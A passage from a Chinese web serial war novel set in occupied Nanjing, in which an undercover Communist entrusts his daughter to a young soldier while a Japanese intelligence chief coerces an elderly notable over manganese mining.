“我怎么会不知道他,我说的就是他!”池碧疆断然决然道,“就这样,你把我的话原封不动说给他听,我随后就赶回!”说完,搁下了电话。 电话这头的红霞提着话筒愣了好久,自言自语起来:“这个老池,怎么语无伦次的?” “我爸今天怎么这么反常?”池橙看了母亲一眼,咕哝说道。 一旁静听的曲思冬已听到了个大概,思索着问道:“老池电话里怎么说?” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第158章 男人之间的对话 女儿的话让红霞有同感,她也觉得丈夫电话中显得很反常,是的,上次曲思冬登门,丈夫和曲思冬的谈话她都在场,交谈中,曲思冬从未说过他喜欢摄影,而在饭席中,曲思冬甚至滴酒未沾,又何谈爱喝酒?难不成曲思冬的这些爱好,是女儿得知后私下告知了他?想到这儿,红霞便问道:“冬儿,听说你热爱摄影?” 话刚说完,池橙也用询问的目光看着曲思冬,嘴里同时好奇问道:“你还爱好摄影?” 红霞于是否定了女儿透露的可能性。 曲思冬一脸愕然,半晌答道:“摄影只是略知一二,谈不上热爱……” 池橙赶紧问母亲:“我爸这个消息是从哪里打听来的?” 曲思冬再次问道:“老池电话里怎么说?” “老池说你热爱摄影,他待会赶回家向你讨教一些有关这方面的问题……他还让我一定留下你吃饭,说你喜欢喝酒,要和你喝几杯。” “喝酒只是偶而为之,我从不贪杯!” 红霞听毕也满脸狐疑,自言自语起来:“这个池碧疆,到底是哪根神经搭错了?” “老池还说什么了?” 红霞想了想道:“他问我你是怎么来的,我说是别人开车送你来的,他马上要求我做些好吃的,一定留下你单独吃饭,他说单位已没什么事了,马上赶回家和你见面,他还叫我把他的话原封不动转告给你……” 曲思冬听到这儿,已明白了大概,肯定说道:“老池电话里好像有所顾忌,他是不是怕……”一个念头忽然闪现在曲思冬的脑际,脱口说道:“难道他怕电话被人监听?” 同时盯着曲思冬的两位女人不约而同“啊”了一声。 “监听?谁会监听他的电话?”池橙抢先说道,语气中有抑制不住的兴奋。 “当然是日本人了!”曲思冬应道,“除了日本人,当今的南京城,谁还有能力监听一部电话?” 池橙更兴奋了,“我爸不是和日本人穿一条裤子吗?” 红霞赶忙瞪了女儿一眼,喝道:“池——橙,你放肆了!怎么能这样说你爸!” 红霞的语气透出严厉。 池橙吓得吐了一下舌头,对曲思冬扮了个鬼脸。 红霞赌气不理睬女儿,看着曲思冬求教问:“监听是怎么回事?” “监听……监听电话就是偷听他人的电话内容……” 池橙瞄了一眼红霞,小声问曲思冬说:“日本人为什么要偷听我爸的电话?” “具体情况我也不知道,这要等你爸回家才能知道,不过,按照我的判断,老池之所以讲话小心翼翼,恐怕这就是主要原因!”说完把目光投向红霞,“也好,我让司机先走,我在这里等一下老池!” 来到门外见到赵楷,曲思冬吩咐道:“赵兄,这家主人回家还要一些时间,你先回去吧!” 赵楷“哦”了一声,发动汽车走了。 池橙用目光迎接曲思冬返回大厅,上前亲昵地拉起曲思冬的手,将曲思冬又引进书房。 “我妈说给你做手擀面。” 池橙关上房门静静地盯着曲思冬看,直看到曲思冬不自在为止。 “这么说,我爸和日本人并不是一条心?”池橙试探着说道。 “或许,你冤枉你爸了……”曲思冬沉吟片刻,又说道:“非常时期,我们和敌人的斗争有多种形式,隐藏在敌人身边这不失为一种很有效地斗争形式!” 池橙立即焕发出异样的光彩,神色中自豪满满,“我就说嘛,我爸怎么会投靠小鬼子?” …… 半个多小时后,门外就响起了汽车的轰鸣声。 池橙站起身,“我爸回来了。” 曲思冬听到门外汽车的关门声,和池橙一道出了书房。 汽车很快驶离,从门外匆匆走进一个夹着公文包的中年男人。 池橙欢快地喊了一声:“爸爸——” 池碧疆微笑应了一声,和曲思冬擦肩而过,嘴里低低说了一声:“小伙子,跟我来。” 池碧疆转眼进了厅堂东侧的书房,曲思冬紧随而至,池橙也跟在后面,刚要跨步进书房,池碧疆将身子挡在门口,拦住了她的去路,严肃说道:“橙儿,你就别进来了,我和这位曲先生有事相商。” 池橙嘟着嘴,悻悻转身离去,但从她的神情可以看出,此时的她心情无比愉悦。 关上书房的池碧疆亲自给曲思冬看座,将自己的座椅调整方向,坐在了曲思冬的对面。 此时两个男人都在沉默,谁都不愿先开口,过了很长一段时间,池碧疆从衣兜里掏出一包香烟,两只手指钳出两根香烟,问道:“小伙子抽烟吗?” 曲思冬伸手取出一根。“会抽的……”边说边放进嘴里。 池碧疆分别把两根香烟点着,猛吸一口,缓缓取下香烟,又看了一眼曲思冬,轻轻咳嗽一声。 “你叫曲思冬?”池碧疆看了一眼燃烧的烟头抬起头问道。 “池……”曲思冬刚开口,池碧疆立即打断道:“请叫我伯父!”池碧疆顿了顿又道:“我三十多岁才结的婚,我的年纪应该比你父亲要大!” 本小章还未完,请点击下一页继续阅读后面精彩内容!“伯父……伯父今天约我留下是不是有什么事要和晚辈说?” “是的!但是在我说之前请你先说说自己的情况!”池碧疆双目炯炯,气势逼人,旋即补充道:“请你一定要如实相告!” “是伯父!我……我叫曲思冬,土生土长的南京人……我一家四口人,父亲是南京育群中学的一名国文老师,母亲是夫子庙大华百货店的售货员,我还有个妹妹,她叫曲思秋……我今年二十六岁,原是国军南京城防司令部的一名少校营长,后来南京保卫战爆发,我和我的部队打散,就留在了南京城,在南京沦陷之初,孤身一人潜到中华门一带对一名鬼子高官进行狙杀,但以失败而告终……” “是不是鬼子的方面军总司令松井石根入城那天?”池碧疆打断了曲思冬。 “应该就是那一天,也就是那天我们在中华门附近的马路上相遇的,并有了第一次的见面。” 池碧疆仔细回想着,忽然醒悟道:“我想起来了,就是那一天我找到了失踪的女儿!” “后来呢?” “也就是那一天我认识了重庆方面一名代号‘钉子’的特工……再后来我在紫金山一带和他一起接受了数十名国军溃兵,组建了一支队伍,叫华帮抗战大队,我被任命为副大队长,但后来生存空间被鬼子挤压,不得已就跳到了外线……” “还有吗?” “部队一路上险象横生,冲破了鬼子的层层封锁,但打到最后,三十多人的队伍只剩下二十人不到,我们为了保存有生力量只能继续向东,最后抵达茅山一带,和共产党的江南抗日先遣队合流一股……” “哦?那你怎么又回来的呢?” 曲思冬犹犹豫豫说道:“我放不下父母,特地独自一人潜进城里……就是为了看看父母平安与否……” 池碧疆没有继续追问,神情已不似刚才严肃,他又吸了一口烟,娓娓说道:“既然大家开诚布公,你是一个有担当的年轻人,我的情况你也应该知道……不瞒你说,我是一名中共共产党员,27年年初在上海经人介绍加入党组织的,至今十年有余,可以说我是一名老党员……我作为金陵图书馆的馆长,在抗战之前,接到的指令就是‘隐蔽精干、长期埋伏、积蓄力量、以待时机’这十六字方针!全面抗战爆发到南京沦陷后,我被要求继续留在南京,利用文化人的身份伺机进入鬼子的阵营!事实上我也是这么做的,尽管我受到了很多人的歧视和白眼,包括自己的家人,他们不理解我,可我不能多解释……”池碧疆说着换了一种语气问:“你曾经是不是也看不起我?” “这并不影响我如今对你的敬意!” 这个回答池碧疆很满意。 “可是,作为一名地下工作者,我发现我并不十分适应这样的工作,我的骨子里有的只是一种文化人的清高和孤傲,不屑于谄媚和逢场作戏,而这恰恰是我的致命缺点,面对狡猾强大的敌人,我竟然有力不从心的感觉!” “是的,你所要面对的对手是鬼子的专业情报精英!”曲思冬附和道,“可以说鬼子是靠情报起家的,在亚洲乃至整个世界,鬼子在情报战线上一直是数一数二的!” “是啊,所以我一直在犯错,有些错误可以弥补,而有些错误却是致命的!” 曲思冬利用池碧疆停顿抽烟的机会,忽然问:“池……伯父今天为什么要告诉我这些?” “这些不是关键!” “难道伯父还有更重要的事要告诉我?” “我……我今天想托付你一件事!”池碧疆斩钉截铁说道。 这时的池碧疆又是一脸严肃,他转头在烟灰缸里掐灭了烟蒂,立即显出一副郑重其事的样子。 曲思冬知道池碧疆接下来所要说的,一定事关重大,连忙正襟危坐,神色也庄重起来。他把嘴里的半根香烟拿下,夹到右手的双指间,并垂下了双手。 “伯父,您请说!” “我想把橙儿托付给你!”池碧疆突然一字一顿说道。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第159章 托付 曲思冬怎么也没料到,池碧疆和他谈的竟是这样一个话题。 一霎那,曲思冬心中又诧异又激动,还有一些羞涩,几乎不敢直视池碧疆的眼睛,他的口气变得语无伦次起来。 “伯父……我我……” 池碧疆目光如炬,似乎要看穿曲思冬的心。 “你是不是已经有了女朋友?” “没……没有。” 池碧疆稍稍放下心,再问:“要不你有为难之处?” “那倒没有!”曲思冬不假思索说道。 “那你还有什么顾虑?” “我……我不知池橙是怎么想的,这总要征求池橙的意见吧?” 池碧疆终于放下心来,目光也变得亲切起来,语气轻柔说道:“傻孩子,池橙的心思你还不懂?橙儿是个率真的孩子,知女莫如父,她的心思我懂!” “哦……”曲思冬忽然抖了一下手,原来是指间的香烟灼痛了手指,他连忙把烟蒂掐灭在烟灰缸里。 池碧疆整个人立即显得轻松起来,把椅子往曲思冬面前移了移,又掏出一根烟递给他,曲思冬连忙摆摆手,池碧疆于是把它塞进自己的嘴里,划了一根火柴。 烟雾在两人的面前升腾起来,隔着这层烟雾,曲思冬已恢复常态,他整理了一下情绪,问道:“伯父今天这是怎么啦?” 池碧疆轻叹了一口气,“我最放心不下的就是橙儿,她小你五岁,尽管任性,但心智上几乎还是个孩子……不过让我欣慰的是,自从你救了她后,在这个世界上,已经没有人可以替代你,她不但崇拜你,还从内心中,把你视为一生的依靠,她可以没有我,但我无法想象没有你的日子她将如何生活下去……” “伯父言重了……”曲思冬的脸颊微微发红。 “你先听我把话说下去说!”池碧疆打断了曲思冬,“我之所以今天要对你说这样的话,实在是这件事刻不容缓!” 池碧疆看到曲思冬在静静地听着他说话,丝毫没有插话的意思,便继续道:“日本人最近盯上我了!他们一直派人在暗中监视我,这一点我早已察觉……我想包括我的电话,他们都应该开始监听了,所以电话里,我没法表述太清楚,只是让你单独留下,就是怕牵扯太多的人,你是个聪明的孩子,有些话对你不用说得太明!” 曲思冬点点头,“这些我已经猜到了。” 池碧疆嘉许地看了曲思冬一眼,“把橙儿托付给了你,也了却我一桩心事,不管结果如何,这样我就没有了后顾之忧!” 曲思冬看池碧疆越说越凝重,大有壮士一去兮不复还的悲壮,忙问:“日本人抓住你的把柄了?” “这一点还不好判断,但一定有破绽,否则他们不会日夜不间断地监视我!” “我觉得当务之急是要赶紧查漏补缺,找到症结所在,从而确定去留,如果可以弥补则全力以赴,如果不可挽回就第一时间撤离!” “是的,我后来仔细想过,最有可能是前些日子潜入了金陵图书馆偷拍了鬼子搬运图书的照片,这些照片有可能现在落在了鬼子的手里,我觉得这是最有可能暴露的原因……” 曲思冬奇道:“这些照片怎么会被鬼子弄到手?” “说来话长……”说到这儿,池碧疆想起曲思秋也牵扯在这起胶卷事件里,突然就沮丧起来,脸上充满自责,“我知道曲思秋是你妹妹……” 曲思冬并未表现出惊异,曲思秋来这里找过池橙几次,池碧疆自然知道他们是兄妹,再说二人名字只相差一字,是个人都不难判断出来。不料池碧疆忽然掐指算了算,说道:“我和思秋认识大概有两年了吧……” 看到曲思冬瞪大了眼睛,池碧疆补充说道:“她是我的学生!” “啊?怎么会这样?”曲思冬一脸迷惘,印象中,那一次松井石根进城仪式上,曲思冬刺杀松井石根,后来与妹妹及池橙邂逅,再后来池碧疆开车路过,意外发现了女儿,当时曲思秋也在场,可是二人竟连招呼也没打……想到这里,曲思冬疑惑更甚,呐呐道:“思秋怎么从未说起过这事?” “不奇怪,思秋和我有着相同的身份!她也是一名中共党员,而且是我介绍加入的!” 曲思冬怎么也没想到平素对他百般依赖的妹妹竟然是个共产党,一时间怔住了,“……她怎么能是共产党呢?我看她平时也不是很有主见,她能胜任这样的身份吗?” “你还是不了解她,你妹妹很优秀……”池碧疆忽然说不下去了。 既然妹妹的身份得到确认,曲思冬再次联想到妹妹的失踪,整个人立即坠入了无尽的黑暗之中。此时的他并未发现池碧疆表情的变化,如果他稍稍留意一下,不难发现这个时候池碧疆也处于抓狂状。 “我妹妹不见了,这是我今天上门找您的原因,您消息灵通,我原意是想让您替我打听一下思秋有没有可能被日本人抓走……” “思秋极有可能被日本人抓了……”池碧疆的喉咙沙哑。 这章没有结束,请点击下一页继续阅读!“到底怎么回事?”曲思冬霍地站起身来。 “你先坐下听我说。”池碧疆站起按了按他的肩膀,“昨天夜里我让她执行一项任务……她是一名优秀的收发报员,我派一名同志开车接她,让她在轿车里的进行移动发报,开车的这位同志是我们区公所的办事员,可是直到今天早晨我上班后,都没有发现他的身影,我想八成是他们出了意外!” 曲思冬不自觉有站了起来,池碧疆也跟着起身,安慰道:“你也先别急,我已托人在打听了。” 想到鬼子的凶残,又想到妹妹柔弱的样子,曲思冬脸上的忧虑之色如阴云密布,心中撕裂一般疼痛,他恨不得被抓的人是自己。 “现在形势急转直下,我已经做好了最坏的打算,因而才决定将橙儿托付于你!” 曲思冬在书房来回踱步,心神已然不宁,一时不知如何是好,不由得联想起林赤,心想,林赤假如遇到这样的情况会怎么做? 林赤遇事冷静,断然不会像他这样慌乱! 曲思冬在池碧疆面前站定,毅然说道:“池碧疆同志,如果情况真是那么糟糕,我将和你一起并肩战斗!”说完曲思冬看到他一脸不自然的样子,忽然想起自己对他的“同志”称呼让他别扭,忙解释道:“近段日子,我成天和共产党的队伍混在一起,他们彼此都是这样称呼,耳濡目染我也习惯了!” 正在这时,有人敲书房门,门推开后池橙探进脑袋,“二位,可以开饭了吗?” “你去把你妈叫进来,我有话要说!” 红霞进房间的时候,一边在将手在围裙上擦擦,一边笑谑道:“面条已下锅,有什么事不能等到饭后再说?” “橙儿,你也进来!” 池橙快步闪到母亲面前,对池碧疆调皮说道:“父王,您有何吩咐?” 池橙一改往昔的沉郁,显得快乐无比,对他也透出亲昵,这样的景况在前些日子是池碧疆想也不敢想的,这一切显然是曲思冬到来的缘故,心中不由一酸。 “橙儿,你坐下,爸爸有话要对你说。” 看到众人都在盯着他看,池碧疆略作思考说道:“橙儿,你听好,我刚刚和思冬进行了一次长谈,这是两个男人之间的谈话,主要就是关于你的……” 池橙的脸蛋忽然红成一片。 “从一个男人的角度,我觉得思冬不错,从今天起,我正式把你托付给他!”看到女儿不好意思地低下脑袋,池碧疆又把目光转向红霞,“这件事情我没有和你商量,你没有意见吧?” 红霞尽管心中疑问重重,还是点了点头,“我听你的!” “这是女儿的终身大事,你总要表个态!” “既然要我表态,我们听听橙儿怎么说!” 池橙抬起头,温婉地看了曲思冬一眼,又把眼睛盯着父亲,“他……他怎么说?” “思冬已经答应了!” “我……我没意见!”池橙大大方方迎向曲思冬的目光。 轮到曲思冬有些不好意思。 池碧疆问妻子:“今天做的是面条?” “家里还有一些面粉,我做的手擀面。” “很好,今天中午当着你奶奶,就用这顿面条,我来给你们主持一个仪式!” “什么仪式?”红霞一脸错愕,追问丈夫。 池碧疆并没有应她的话,而是对女儿说道:“这顿午餐之后,你就可以跟着思冬一道走了,这个家我希望你不要再回了……” “难道是我做错什么了?”池橙迫不及待打断。 “那倒不是……从今以后,不管你们身在何处,遇到何种境况,你们就已经是夫妻了……” “碧疆你疯了!”红霞喝道,“就一顿面条,就把女儿嫁出去啦?” 曲思冬也没想到池碧疆会如此安排,吃惊得张大嘴巴。 池碧疆挥了挥手,示意她不要插话,“以后即使你们有夫妻之实,我也没有异议,唯一的冀望,就是这乱世之中你们互敬互爱、互携互帮、彼此忠诚!” “池——碧——疆!到底怎么回事?!”红霞已经忍无可忍。 池碧疆说到这儿,已双目噙泪。 红霞已然发现池碧疆的异乎寻常,声音轻柔起来:“老池,是不是出事情了?我发现你今天很反常!” “以后我会跟你解释的!”池碧疆走到女儿和曲思冬中间,用双手牵起他们,“你们二位,同意我的安排吗?” 曲思冬和池橙几乎是不约而同点了点头。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第160章 特殊的仪式 午餐已经准备好,三道极简的菜,一道大蒜叶炒咸肉,一道炒鸡蛋,一道腌制胡萝卜;主食是手擀面条,已盛好摆放在餐桌上,但男女主人还在书房中,他们似乎在交谈着什么,不时听到女主人激动高昂的声音。 池橙和曲思冬坐在餐桌旁,二人都一言不发,池橙低头掰弄着手指,显现出少有的安静。 此时占据在少女池橙心中更多的是那份持久不退的激动,除此之外,父亲反常的表现让她多多少少产生了惶恐,尤其当她发现父亲双目噙泪时,内心一阵阵绞痛,她不知父亲和曲思冬到底说了些什么,虽然心中好奇,可既然父亲不想告诉她,一定是有他的难处,不过日后有的是机会询问思冬,但池橙大致可以猜出,这一切一定和日本人有关系。 如果是日本人和父亲过不去,起码说明父亲并不是她想象的那样,担任日本人所设的伪职更是不得已而为之,想到这点,池橙不免有些亢奋,笼罩在灵魂外层的自卑转瞬被撕碎,她终于可以堂堂正正做一名中国人了! 池碧疆和红霞的谈话一直在继续,半个多小时后,二人双双出了书房,曲思冬看到池碧疆手里拎着一瓶白酒,池橙看到母亲双眼通红,显然是在谈话中哭了。 池橙从母亲的表情中发现她一直在隐忍着悲伤,和池橙双目对视时,她竟然有些抑制不住,捂着嘴跑进了盥洗室,这让池橙一阵惴惴不安,慌忙起身跟着进了盥洗室。 池碧疆把那瓶白酒递给曲思冬,嘴里说道:“思冬,你把这瓶白酒打开,我们爷俩中午好好喝两杯!”说着进了大厅西侧的房间,把他的老母亲搀扶了出来。 这段日子,池橙的奶奶身体已大不如前,已有老年痴呆的迹象,加上天冷,几乎全天都呆在自己的房间里。 红霞听到了推门的声音,连忙整理了一下情绪,看是女儿,强笑道:“你爸这样的安排你不会怪他吧?” 池橙摇了摇头,问母亲:“我爸到底和你说什么了?” “……没什么,还不是关于你和思冬的事?” 池橙有些气恼,“你们是不是合计好了,你们这么费尽心思瞒我一人到底是为什么?” 红霞想起丈夫的反复叮嘱,连忙走到女儿面前,拉起她的手,说道:“真没瞒你什么,我和你爸吵了两句,还不都是你和思冬的事?你是我们的心肝宝贝,我觉得就这样让思冬带走心有不甘!” 池橙尽管半信半疑,但看到母亲无限爱怜地眼神,还是安慰道:“哎,这算什么事啊!”说着说着,一种自豪感忽然洋溢在胸腔之中,“我这是跟思冬一起革命去!我要把小鬼子赶出我们的土地!” 大厅里的池碧疆扯着嗓子喊道:“你们还磨磨蹭蹭干什么?” 餐桌上的一瓶汾酒已被打开,多了五个酒杯,酒杯里均斟满了酒。众人坐定后,池碧疆端着酒杯站了起来,“橙儿,你从没喝过酒,今天这杯酒,无论如何都要喝下去!” “没问题,不就是一杯酒嘛!”池橙跟着众人纷纷站起。 池碧疆在老母亲的耳边大声介绍道:“妈,旁边这位小伙子叫曲思冬,也是南京人,如今是你孙儿的男朋友,从今以后,我将把橙儿托付给他!”池橙的奶奶也不知听清没听清,一个劲点头。 池碧疆把目光投向池橙,“今天我和你妈给你主持一个简单而特殊的仪式,这到底是个什么形式的仪式,我也说不清楚……就称之为托付仪式吧……可与其说是托付仪式,但依我看更像是个成人礼仪式,这个仪式之后,你池橙从此将离开父母的庇护,在这个险恶的乱世之中,由你自己把握生命的航向,一切艰难险阻,由你独自应对,当然,你不谙世事,社会经验严重缺乏……”池碧疆又把目光投向曲思冬,“……所以我希望思冬要像对待自己的妻子一样呵护她,要尽快帮助她成长起来,不至于犯致命的错误!” 曲思冬把酒杯抬起,回答道:“我记住伯父的话了,我一定……保护好她!” “有了你这句话,我也就放心了!记住,你是一个男人!” 红霞及时说道:“橙儿从小娇生惯养,是我们太宠爱她了,她的任性有时可能会让你受不了,我作为她的母亲,恳请你多一些包容之心!” 池碧疆抢过话茬,又对女儿补充道:“橙儿,你要记住,思冬是要和你过一辈子的男人,骄纵只会毁了你们的婚姻,互相理解才能走到最后,如果你记不住这一点,你将面临更多的失败和挫折!” 池橙使劲地点头。 “好了,不多说了,咱们一起干了这杯酒!” 饭席过后,大家彼此间又增进了一份熟络和了解。 池碧疆看了看表,说道:“我马上得上班去了,我走以后,橙儿你准备几件简单的换洗衣服,跟思冬一道走!”池碧疆边说边看着曲思冬,“你准备怎么安排橙儿?” “我把她带回家,和我父母一起住!”说着曲思冬进了书房,把自家的地址写好后递给了池碧疆,“有事可以来这儿找我们。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!池碧疆看了一眼纸条,撕碎扔掉。 门外响起汽车喇叭声,来接池碧疆上班的小车到了,走到门口的池碧疆又折身回来。 “思冬,橙儿你可以调教,但不要欺负她!” 池碧疆出了院门,爬上了轿车,紧随其后的红霞掩上院门。 曲思冬快速跑到院中,透过门缝,他看到果有一辆小车在池碧疆走后不久,悄悄跟了上去。 好奇心驱使池橙趴在曲思冬身后偷看,刚要发问,曲思冬做了个禁言的手势,轻轻打开院门探头向巷内两侧张望一番,确信再无跟踪的车辆,便关上大门对池橙说道:“你抓紧时间收拾一下,我们马上走!” 池橙跑进了屋内。 红霞紧张问:“真有人跟踪老池?” 曲思冬点头道:“没错!” 红霞着急询问曲思冬:“你说,老池该怎么办?” 曲思冬想了想毅然说道:“既然你们把池橙托付给我,你们就是我的亲人,伯父的这件事我不会坐视不管,我要尽一己之力帮他度过难关,当务之急是要先安顿好橙儿。” 红霞感激地打量着眼前的准女婿,频频颌首,心中忽然百感交集。 …… 与此同时,三元巷的陶府门庭若市。 陶府的院内院外,停满了小轿车和挎斗摩托,在门外还有荷枪实弹的日本士兵在警戒。在三元巷的巷口,数名松机关的便衣在来回走动,这一切,源于松机关的少将机关长黑木瞳对陶府的造访。 黑木一个小时前率人来到陶府,陶天阙接到他即将而至的电话,早就候在家里等待着黑木的光临,黑木抵达陶府的时候,陶天阙已掐准了时间,亲自迎在门口。 林赤的被捕让老迈的陶天阙如履薄冰,林赤作为他悦颜照相馆的雇员,陶天阙深知他的被抓已让自己脱不了干系,黑木随时可以利用这件事大做文章,这如同唐僧脑中的紧箍咒一样,只要看孙悟空不顺眼,便将它念叨一遍,就可让悟空生不如死。这将会处处掣肘陶天阙,让他那颗高傲的头颅不得不低了下来。 黑木自然深知这样的道理,所以此次前来,答应帮助办理黄包车牌照事宜是假,他的本意就是向赤盟会的老会长陶天阙示威!除此之外,曲思秋的被捕又是一个更重磅的筹码,作为他的旗下又一产业的职员,身为诊所医生的曲思秋在子夜时分,偷偷从轿车里发报,这不说明陶天阙领导的赤盟会,已是蛇鼠一窝? 要是在往昔,黑木断然无法这般隐忍,陶天阙也绝不会如此逍遥,等待他的必将是帝国更严厉的制裁,但南京城刚“解放”,很多事情还必须仰仗他的能量和威望才能达成,此外,官场沉浮多年的黑木也知道,陶天阙在军方高层有很深的背景,这位老先生在三十多年前留学日本的经历使他结识了不少如今已是帝国塔尖的上层大员,限制他的人身自由恐怕仅仅是他一厢情愿罢了,与其如此,倒不如卖个人情,转而对他威逼利诱,说不定会有意想不到的奇效,他的所谓孤傲在他的面前也必将无处遁形。 也正是因为这样的原因,陶天阙已经没有了以往的锐气,毕竟自己的七寸被日本人拿捏着,已然英雄气短。 把黑木和随行的渡边迎进了客厅,陶天阙一边招呼老周沏茶,一边吩咐厨房准备丰盛的酒席。 黑木佯装客气一番,禁不住陶天阙的一再诚意邀请,便允诺留下吃这一顿午餐。 黑木喝了一口茶,开始切入正题。 “阁下,我今天来,是有一件事要通报你!” 陶天阙不经意说道:“请将军直言。” “昨天夜里,我领导的松机关破获一起间谍案……” “哦?” “狡猾的敌人利用移动的轿车进行发报,被我侦听车拦截到讯号,我们及时追踪,最终击毙一人,活捉一人……” 看到陶天阙听得津津有味,黑木洋洋得意继续说道:“这个人居然是个女的。” “女的?”陶天阙表现出好奇。 “想必这个女人阁下一定认识!” 陶天阙这才知道来者不善,心中惊诧,不知这个所认识女人是谁,便盯着黑木问道:“将军还是不要拐弯抹角,直说就是。” “曲思秋认识不?就是你的利民诊所的女医生?” 陶天阙心里顿起波澜,但尽量表现出平静,“曲思秋?我听说过此人……” “这么说阁下和这位女医生不熟?她可是和您的孙女朝夕相处的啊!” “我每天要会见很多人,有些人只是一面之缘,老朽年事已高,记忆力也不好,很多人见一眼就忘了……” “呵呵。”黑木冷笑两声,目光四处巡视,忽然问道:“您的孙女呢?我怎么没见到她?” “她去诊所上班去了。”陶天阙淡淡说道。 “我想邀请她陪我共进午餐,阁下您安排一下吧!” “我这个孙女性情率真,我怕她会得罪了将军。” “不要紧,她是晚辈,我黑木怎么会计较呢?”说完黑木对身旁的渡边吩咐道:“渡边小姐,你亲自去一趟利民诊所,把陶小姐接回来,我要见她!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第161章 栖霞山之“锰” 看到渡边急急出了大厅,陶天阙转头对黑木道:“将军此次前来,到底意欲何为?是问罪老朽来了?” 黑木对这种开门见山、直插主题的讲话方式很是不爽,眼前的老者不但狂傲,似乎不把他放在眼里,语气间更是肆无忌惮,竟然根本不在乎这两件事衍生出的后果,心中不免有气,冷冷一笑,“据我所知,当下的大日本帝国治下的很多中国城市,已开始采用连坐制,像阁下这种情况,不但有罪,而且是死罪!” “那将军想怎么处置老朽?”陶天阙话语中忽然多了一份火药味。 空气一下子凝固了,此时的黑木尽管清楚知道对方根深叶茂,但不甘心就此示弱,沉思俄顷,干笑两声,“我知道陶老一身铮铮铁骨,视生死如夜寐,不过,不知陶老想过您的子嗣没有?我听说您有两子一女,且个个人中龙凤,还有您的那位可爱漂亮的孙女,不晓得陶老先生替他们想过没有?您可以不计较个人得失,但他们怎么办?离开了您的庇护,他们还能像如今这样无忧而快乐地生活下去?” 这番话一下子击中了陶天阙的命门,这也是他最遣怀、最放不下的重要一环,他的内心顿时沮丧起来,但混迹江湖多年的他并不甘心束手就擒,不假思索诘问道:“将军这算是威胁吗?” 他的语气已不似原先坚定,已有底气不足之感。 这一点黑木又何尝听不出来?他知道自己已略占上风,心中洋洋得意,但想到此番前来的主旨,眼前的这个人还必须充分利用,切不可意气用事,便连忙换了说话的声调,声音已不再严厉,“我今天之所以百忙中抽时间拜访陶老,最主要的还是和您谈生意来啦!” 陶天阙脑子已缺少了年轻时的敏锐,实在想不出这个日本人又在耍什么幺蛾子,忙问道:“我不知道黑木将军还对做生意感兴趣?可不知将军对哪方面的生意感兴趣?” “听说您大儿子代您经营的陶庐温泉别墅现下生意红火?”黑木话锋一转。 “这还不是托皇军的福?现下时局,能够前往陶庐消费的还不都是皇军的军中高层?”陶天阙微笑说道,“难道黑木将军也想参股老朽的温泉生意?” “哈哈!”黑木放肆地大笑数声,“陶老您不觉得这笔生意太小了吗?” “哦?将军有更好的建议?” “锰——矿!”黑木嘴里慢慢地吐出两个字,他双目锐利,目不转睛地盯着陶天阙。 陶天阙心中一惊,脸上却不动声色,“锰矿?这是个什么生意?” “陶老别打马虎了,如果我的情报没错,阁下应是我东京帝国大学地质专业的高材生,矿藏开采可是您最擅长的领域!在南京城,就是您最先发现了汤山的地热资源!也是您和您的江宁同乡、中国第一报人史量才先生联合将地热资源发掘出来的!” “事倒是这么个事,将军不提,我倒是忘了!” “看来陶老有点健忘!” “迟暮之年,已不堪大用!” “陶老过谦!不过,陶老既然专修地质专业,对锰矿在炼铁炼钢领域的重要地位不会不知道吧?” 至此,陶天阙方知黑木拜访的真正意图,而所谓曲思秋和林赤的被捕,只是对方威逼利用的重要筹码罢了。 对于专修过地质专业的陶天阙而言,又何尝不知锰作为炼铁领域的不可或缺的用途?锰,是一种脱氧剂和脱硫剂,缺少了锰,炼铁将无从谈起,炼出高质量的钢更是痴人说梦,而日本当下已在中国全面挑起战端,武器弹药的需求量很大,而造就武器弹药更是离不开一种重要的原料,那就是钢材! 想到这儿,陶天阙淡淡说道:“锰这个金属元素我是知道的,不过,这与老朽又有什么关系?” “大有关系!”黑木断然说道,“我们不但需要陶老所学专业的帮助,而且还需要陶老的人脉!” “在下一个垂暮之人,哪里有这方面的人脉?再说,老朽年事已高,不想颠沛流离,也万万经不住折腾,只想在自己的家里清清静静过些日子。” “这件事不会太麻烦您的,我们所需您所提供的帮助,对于您来说,也只是举手之劳!” “哦?”陶天阙佯装困惑地看着黑木。 “锰矿,在南京城就有,您只需待在您的陶府,就可以给帝国提供帮助!” 陶天阙心中大惊,他早就知道南京蕴藏丰富的锰矿资源,南京城沦陷之前一年,由国防部牵头成立了勘探专家组,专门勘探过南京的矿藏,只是后来全面抗战爆发,首都搬迁,南京沦陷,这件事情就此搁置。 黑木看到陶天阙沉思着,知道他必定知道这方面的详情,就趁热打铁道:“我帝国情报机关已不但知道南京城的锰矿存在,还知道它的大体方位。” “请将军说来听听。” “栖霞山!”黑木面露得意,“而且我还知道国民政府曾专门成立了专家组,对栖霞山进行了为期大半年的勘探,勘探结果真让人欣喜!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“栖霞山有锰矿?”陶天阙面露疑色。 “陶老作为地质泰斗,会不知道这个消息?”黑木喝了一口茶,“我们的情报部门已获知,原先专家组的组长是叫谢十九?” 陶天阙内心一震,连忙想转移话题,于是匆匆站起身,走到门外对站在厨房门口的老周大声吩咐道:“你快去看看午饭准备好了没有,将军应该早就饿了!” 黑木跟着站起,来到陶天阙身后,“听说这位谢十九是陶老在东京帝国大学的同学?” “将军这么一说,我倒是想起这个人了。” 无奈之下,陶天阙再次回到座位坐下,黑木又道:“这位谢十九手上,有一份栖霞山详细的勘探报告!” 陶天阙显得麻木的样子,“区区一份勘探报告算什么,这离开采还有很长一段距离!” “除了这份报告,他的手里还有具体的开采方案!” 陶天阙漠不关心说道:“那又如何?他可是重庆政府专家级人物,必定受到严格的保护!” “据报,此人现在上海租界居住,他的行踪已被我掌握!” 一言甫毕,陶天阙的心如坠冰窖,不禁暗暗怒骂重庆政府的那帮昏庸之辈,居然把这么重要的一名专家一人留在了上海! 